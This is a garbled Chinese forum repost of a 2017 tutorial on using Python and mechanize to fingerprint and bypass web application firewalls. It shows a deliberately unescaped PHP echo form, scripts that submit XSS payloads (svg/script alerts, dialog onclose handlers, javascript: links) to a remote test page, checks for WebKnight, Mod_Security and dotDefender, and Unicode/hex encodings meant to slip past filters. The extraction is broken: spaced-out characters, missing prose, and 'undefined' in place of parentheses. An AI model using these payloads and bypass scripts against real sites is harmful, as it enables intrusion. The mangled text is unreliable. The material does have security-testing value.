[11520] 2017-07-02_使用Python检测并绕过Web应用程序防火墙

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2017-07-02_使用Python检测并绕过Web应用程序防火墙 使 P y t h o n W e b s e c i s t   F r e e B u f   2 0 1 7 - 0 7 - 0 2 W e b W e b W e b W A F W A F W e b P a y l o a d : -   < s v g > < s c r i p t > a l e r t & g r a v e ; 1 & g r a v e ; < p > X S S   p a y l o a d -   > < s c r i p t >   W A F 1 .   < s c r i p t > 2 .   a l e r t ( * ) < s c r i p t > a l e r t ( * ) W A F p a y l o a d W A F p a y l o a d h t t p W A F H T T P / 1 . 1   4 0 6   N o t   A c c e p t a b l e D a t e :   M o n ,   1 0   J a n   2 0 1 6 S e r v e r :   n g i n x C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = i s o - 8 8 5 9 - 1 N o t   A c c e p t a b l e ! N o t   A c c e p t a b l e !   A n   a p p r o p r i a t e   r e p r e s e n t a t i o n   o f   t h e r e q u e s t e d   r e s o u r c e   c o u l d   n o t   b e   f o u n d   o n   t h i s   s e r v e r .   T h i s   e r r o r   w a s   g e n e r a t e d   b y   M o d _ S e c u r i t y
p a y l o a d M o d _ S e c u r i t y p y t h o n 1 H T M L P H P H T M L p a y l o a d P H P H T M L P H P 2 M e c h a n i z e p y t h o n < > A u t o m a t e   C r o s s   S i t e   S c r i p t i n g   ( X S S )   a t t a c k   u s i n g   B e a u t i f u l   S o u p   a n d   M e c h a n i z e M e c h a n i z e W e b < h t m l > < b o d y > < f o r m   n a m e = " w a f "   a c t i o n = " w a f . p h p "   m e t h o d = " p o s t " > D a t a :   < i n p u t   t y p e = " t e x t "   n a m e = " d a t a " > < b r > < i n p u t   t y p e = " s u b m i t "   v a l u e = " S u b m i t " > < / f o r m > < / b o d y > < / h t m l > < h t m l > < b o d y > D a t a   f r o m   t h e   f o r m   :   < ? p h p   e c h o   $ _ P O S T [ " d a t a " ] ;   ? > < b r > < / b o d y > < / h t m l > i m p o r t   m e c h a n i z e   a s   m e c m a l i c i o u s R e q u e s t   =   m e c . B r o w s e r ( ) f o r m N a m e   =   ' w a f ' m a l i c i o u s R e q u e s t . o p e n ( " h t t p : / / c h e c k . c y b e r p e r s o n s . c o m / c r o s s S i t e C h e c k . h t m l " ) m a l i c i o u s R e q u e s t . s e l e c t _ f o r m ( f o r m N a m e )
1 .   m e c h a n i z e m e c 便 使 2 .   使 m e c h a n i z e 3 .   1 H T M L w a f m e c h a n i z e f o r m N a m e w a f 4 .   U R L 5 .   使 s e l e c t _ f o r m ( ) f o r m N a m e H T M L p a y l o a d h t t p W e b 3 p a y l o a d H T M L d a t a 使 p a y l o a d 1 .   p a y l o a d c r o s s S i t e S c r i p t i n g P a y L o a d 2 .   p a y l o a d d a t a 4 1 .   2 .   3 .   i n p u t   t y p e = " t e x t "   n a m e = " d a t a " > < b r > c r o s s S i t e S c r i p t i n g P a y L o a d   =   " < s v g > < s c r i p t > a l e r t & g r a v e ; 1 & g r a v e ; < p > " m a l i c i o u s R e q u e s t . f o r m [ ' d a t a ' ]   =   c r o s s S i t e S c r i p t i n g P a y L o a d m a l i c i o u s R e q u e s t . s u b m i t ( ) r e s p o n s e   =   m a l i c i o u s R e q u e s t . r e s p o n s e ( ) . r e a d ( ) p r i n t   r e s p o n s e
p a y l o a d H T M L 5 r e s p o n s e 1 .   W e b K n i g h t 2 .   M o d _ S e c u r i t y 3 .   D o t   D e f e n d e r p y t h o n W e b K n i g h t W e b K n i g h t W e b K n i g h t f i n d 0 p y t h o n 使 使 J a v a s c r i p t p a y l o a d 使 p y t h o n i f   r e s p o n s e . f i n d ( ' W e b K n i g h t ' )   > =   0 :               p r i n t   " F i r e w a l l   d e t e c t e d :   W e b K n i g h t " e l i f   r e s p o n s e . f i n d ( ' M o d _ S e c u r i t y ' )   > =   0 :             p r i n t   " F i r e w a l l   d e t e c t e d :   M o d   S e c u r i t y " e l i f   r e s p o n s e . f i n d ( ' M o d _ S e c u r i t y ' )   > =   0 :             p r i n t   " F i r e w a l l   d e t e c t e d :   M o d   S e c u r i t y " e l i f   r e s p o n s e . f i n d ( ' d o t D e f e n d e r ' )   > =   0 :             p r i n t   " F i r e w a l l   d e t e c t e d :   D o t   D e f e n d e r " e l s e :             p r i n t   " N o   F i r e w a l l   P r e s e n t "
1 .   3 p a y l o a d p a y l o a d 2 .   f o r p a y l o a d 3 .   H T M L U n i c o d e H e x l i s t o f P a y l o a d s   =   [ ' & l t ; d i a l o g   o p e n = " "   o n c l o s e = " a l e r t u n d e f i n e d 1 ) " & g t ; & l t ; f o r m   m e t h o d = " d i a l o g " & g t ; & l t ; b u t t o n & g t ; C l o s e   m e ! & l t ; / b u t t o n & g t ; & l t ; / f o r m & g t ; & l t ; / d i a l o g & g t ; ' ,   ' & l t ; s v g & g t ; & l t ; s c r i p t & g t ; p r o m p t & a m p ; # 4 0   1 & a m p ; # 4 1 & l t ; i & g t ; ' ,   ' & l t ; a   h r e f = " & a m p ; # 1 ; j a v a s c r i p t : a l e r t u n d e f i n e d 1 ) " & g t ; C L I C K   M E & l t ; a & g t ; ' ] f o r   p a y L o a d s   i n   l i s t o f P a y l o a d s :         m a l i c i o u s R e q u e s t   =   m e c . B r o w s e r u n d e f i n e d )         f o r m N a m e   =   ' w a f '         m a l i c i o u s R e q u e s t . o p e n u n d e f i n e d " h t t p : / / c h e c k . c y b e r p e r s o n s . c o m / c r o s s S i t e C h e c k . h t m l " )         m a l i c i o u s R e q u e s t . s e l e c t _ f o r m u n d e f i n e d f o r m N a m e )         m a l i c i o u s R e q u e s t . f o r m [ ' d a t a ' ]   =   p a y L o a d s         m a l i c i o u s R e q u e s t . s u b m i t u n d e f i n e d )         r e s p o n s e   =   m a l i c i o u s R e q u e s t . r e s p o n s e u n d e f i n e d ) . r e a d u n d e f i n e d )         i f   r e s p o n s e . f i n d u n d e f i n e d ' W e b K n i g h t ' )   & g t ; =   0 :                 p r i n t   " F i r e w a l l   d e t e c t e d :   W e b K n i g h t "         e l i f   r e s p o n s e . f i n d u n d e f i n e d ' M o d _ S e c u r i t y ' )   & g t ; =   0 :                 p r i n t   " F i r e w a l l   d e t e c t e d :   M o d   S e c u r i t y "         e l i f   r e s p o n s e . f i n d u n d e f i n e d ' M o d _ S e c u r i t y ' )   & g t ; =   0 :                 p r i n t   " F i r e w a l l   d e t e c t e d :   M o d   S e c u r i t y "         e l i f   r e s p o n s e . f i n d u n d e f i n e d ' d o t D e f e n d e r ' )   & g t ; =   0 :                 p r i n t   " F i r e w a l l   d e t e c t e d :   D o t   D e f e n d e r "         e l s e :                 p r i n t   " N o   F i r e w a l l   P r e s e n t "
h t m l < > U n i c o d e H e x 使 < > * k a l i t u t o r i a l s F B   s e c i s t   F r e e B u f . C O M l i s t o f P a y l o a d s   =   [ ' & l t ; b & g t ; ' , ' u 0 0 3 c b u 0 0 3 e ' , ' x 3 c b x 3 e ' ] f o r   p a y L o a d s   i n   l i s t o f P a y l o a d s :           m a l i c i o u s R e q u e s t   =   m e c . B r o w s e r ( )           f o r m N a m e   =   ' w a f '           m a l i c i o u s R e q u e s t . o p e n ( " h t t p : / / c h e c k . c y b e r p e r s o n s . c o m / c r o s s S i t e C h e c k . h t m l " )           m a l i c i o u s R e q u e s t . s e l e c t _ f o r m ( f o r m N a m e )           m a l i c i o u s R e q u e s t . f o r m [ ' d a t a ' ]   =   p a y L o a d s           m a l i c i o u s R e q u e s t . s u b m i t ( )           r e s p o n s e   =   m a l i c i o u s R e q u e s t . r e s p o n s e ( ) . r e a d ( )           p r i n t   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "           p r i n t   r e s p o n s e           p r i n t   " - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则